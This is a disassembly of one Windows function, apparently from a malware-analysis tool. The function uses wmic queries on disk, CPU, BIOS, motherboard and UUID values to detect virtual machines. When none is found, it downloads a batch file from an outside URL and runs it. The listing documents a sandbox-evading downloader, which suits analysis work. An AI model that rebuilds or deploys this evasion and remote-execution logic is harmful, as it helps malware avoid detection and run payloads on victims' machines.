Function at 0x1400116a4
Capabilities:
Execute command

Disassembly:
jmp 0x14001f760
push rbp
push rdi
sub rsp, 0xc58
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x21e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140031040]
xor rax, rbp
mov qword [rbp + 0xc28], rax
lea rcx, [0x1400380f8]
call fcn.14001198d
lea rdx, str.Virtual
lea rcx, [rbp + 0x10]
call fcn.14001146a
nop
lea rdx, str.None
lea rcx, [rbp + 0x38]
call fcn.14001146a
nop
lea rdx, str.1111_2222_3333_4444_5555_6666_77
lea rcx, [rbp + 0x60]
call fcn.14001146a
nop
lea rdx, str.11111111_2222_3333_4444_555555555555
lea rcx, [rbp + 0x88]
call fcn.14001146a
nop
lea rdx, str.Disk_Device
lea rcx, [rbp + 0xb0]
call fcn.14001146a
nop
lea rdx, str.8C5B1742_3EFA_950F_717E_C4E68D821EAB
lea rcx, [rbp + 0xd8]
call fcn.14001146a
nop
mov byte [rbp + 0x114], 0
lea rax, [rbp + 0x10]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x138]
add rax, 0xf0
mov qword [rbp + 0x178], rax
jmp 0x14001f854
mov rax, qword [rbp + 0x158]
add rax, 0x28
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x178]
cmp qword [rbp + 0x158], rax
je 0x14001f8f1
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x198], rax
lea rdx, str.wmic_diskdrive_get_model__serialnumber
lea rcx, [rbp + 0x798]
call fcn.1400111f4
mov rcx, rax
call fcn.1400111bd
mov rdx, rax
lea rcx, [rbp + 0x7d8]
call fcn.1400118ed
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc20], rax
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0xc20]
call fcn.140011721
mov byte [rbp + 0x774], al
lea rcx, [rbp + 0x7d8]
call fcn.1400111d6
movzx eax, byte [rbp + 0x774]
test eax, eax
je 0x14001f8ec
mov byte [rbp + 0x114], 1
jmp 0x14001f842
lea rax, [rbp + 0x10]
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1b8]
add rax, 0xf0
mov qword [rbp + 0x1f8], rax
jmp 0x14001f932
mov rax, qword [rbp + 0x1d8]
add rax, 0x28
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1f8]
cmp qword [rbp + 0x1d8], rax
je 0x14001f9cf
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x218], rax
lea rdx, str.wmic_cpu_get_serialnumber
lea rcx, [rbp + 0x838]
call fcn.140011a32
mov rcx, rax
call fcn.140011424
mov rdx, rax
lea rcx, [rbp + 0x878]
call fcn.1400118ed
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc20], rax
mov rdx, qword [rbp + 0x218]
mov rcx, qword [rbp + 0xc20]
call fcn.140011721
mov byte [rbp + 0x814], al
lea rcx, [rbp + 0x878]
call fcn.1400111d6
movzx eax, byte [rbp + 0x814]
test eax, eax
je 0x14001f9ca
mov byte [rbp + 0x114], 1
jmp 0x14001f920
lea rax, [rbp + 0x10]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x238]
add rax, 0xf0
mov qword [rbp + 0x278], rax
jmp 0x14001fa10
mov rax, qword [rbp + 0x258]
add rax, 0x28
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x278]
cmp qword [rbp + 0x258], rax
je 0x14001faad
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x298], rax
lea rdx, str.wmic_bios_get_serialnumber
lea rcx, [rbp + 0x8d8]
call fcn.1400113ed
mov rcx, rax
call fcn.1400117b7
mov rdx, rax
lea rcx, [rbp + 0x918]
call fcn.1400118ed
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc20], rax
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0xc20]
call fcn.140011721
mov byte [rbp + 0x8b4], al
lea rcx, [rbp + 0x918]
call fcn.1400111d6
movzx eax, byte [rbp + 0x8b4]
test eax, eax
je 0x14001faa8
mov byte [rbp + 0x114], 1
jmp 0x14001f9fe
lea rax, [rbp + 0x10]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2b8]
add rax, 0xf0
mov qword [rbp + 0x2f8], rax
jmp 0x14001faee
mov rax, qword [rbp + 0x2d8]
add rax, 0x28
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2f8]
cmp qword [rbp + 0x2d8], rax
je 0x14001fb8b
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x318], rax
lea rdx, str.wmic_baseboard_get_serialnumber
lea rcx, [rbp + 0x978]
call fcn.1400117d0
mov rcx, rax
call fcn.140011a2d
mov rdx, rax
lea rcx, [rbp + 0x9b8]
call fcn.1400118ed
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc20], rax
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0xc20]
call fcn.140011721
mov byte [rbp + 0x954], al
lea rcx, [rbp + 0x9b8]
call fcn.1400111d6
movzx eax, byte [rbp + 0x954]
test eax, eax
je 0x14001fb86
mov byte [rbp + 0x114], 1
jmp 0x14001fadc
lea rax, [rbp + 0x10]
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x338]
add rax, 0xf0
mov qword [rbp + 0x378], rax
jmp 0x14001fbcc
mov rax, qword [rbp + 0x358]
add rax, 0x28
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x378]
cmp qword [rbp + 0x358], rax
je 0x14001fc69
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x398], rax
lea rdx, str.wmic_path_win32_computersystemproduct_get_uuid
lea rcx, [rbp + 0xa18]
call fcn.140011569
mov rcx, rax
call fcn.14001121c
mov rdx, rax
lea rcx, [rbp + 0xa68]
call fcn.1400118ed
mov qword [rbp + 0xc18], rax
mov rax, qword [rbp + 0xc18]
mov qword [rbp + 0xc20], rax
mov rdx, qword [rbp + 0x398]
mov rcx, qword [rbp + 0xc20]
call fcn.140011721
mov byte [rbp + 0x9f4], al
lea rcx, [rbp + 0xa68]
call fcn.1400111d6
movzx eax, byte [rbp + 0x9f4]
test eax, eax
je 0x14001fc64
mov byte [rbp + 0x114], 1
jmp 0x14001fbba
movzx eax, byte [rbp + 0x114]
test eax, eax
je 0x14001fccc
lea rdx, str.Hello_World_
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011127
lea rdx, [0x140011055]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0xaa4], 0
lea r9, [fcn.1400111d6]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.140011299
mov eax, dword [rbp + 0xaa4]
jmp 0x14001fdae
lea rdx, str.C:_sexws.bat
lea rcx, [rbp + 0xb28]
call fcn.140011933
mov rcx, rax
call fcn.1400115c8
mov rdx, rax
lea rcx, [rbp + 0xae8]
call fcn.14001146a
nop
lea rdx, str.https:__deobfuscate.fr_ssex.bat
lea rcx, [rbp + 0xb98]
call fcn.1400117d0
mov rcx, rax
call fcn.140011a2d
mov rdx, rax
lea rcx, [rbp + 0xb58]
call fcn.14001146a
nop
lea rdx, [rbp + 0xae8]
lea rcx, [rbp + 0xb58]
call fcn.1400118b1
mov byte [rbp + 0xac4], al
lea rcx, [rbp + 0xb58]
call fcn.1400111d6
nop
lea rcx, [rbp + 0xae8]
call fcn.1400111d6
movzx eax, byte [rbp + 0xac4]
test eax, eax
je 0x14001fd83
lea rdx, str.start_C:_sexws.bat
lea rcx, [rbp + 0xbd8]
call fcn.1400112d0
mov rcx, rax
call fcn.1400110f0
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0xc04], 0
lea r9, [fcn.1400111d6]
mov r8d, 6
mov edx, 0x28
lea rcx, [rbp + 0x10]
call fcn.140011299
mov eax, dword [rbp + 0xc04]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14002b8c0]
call fcn.1400117f8
mov rax, rdi
mov rcx, qword [rbp + 0xc28]
xor rcx, rbp
call fcn.1400114ce
lea rsp, [rbp + 0xc38]
pop rdi
pop rbp
ret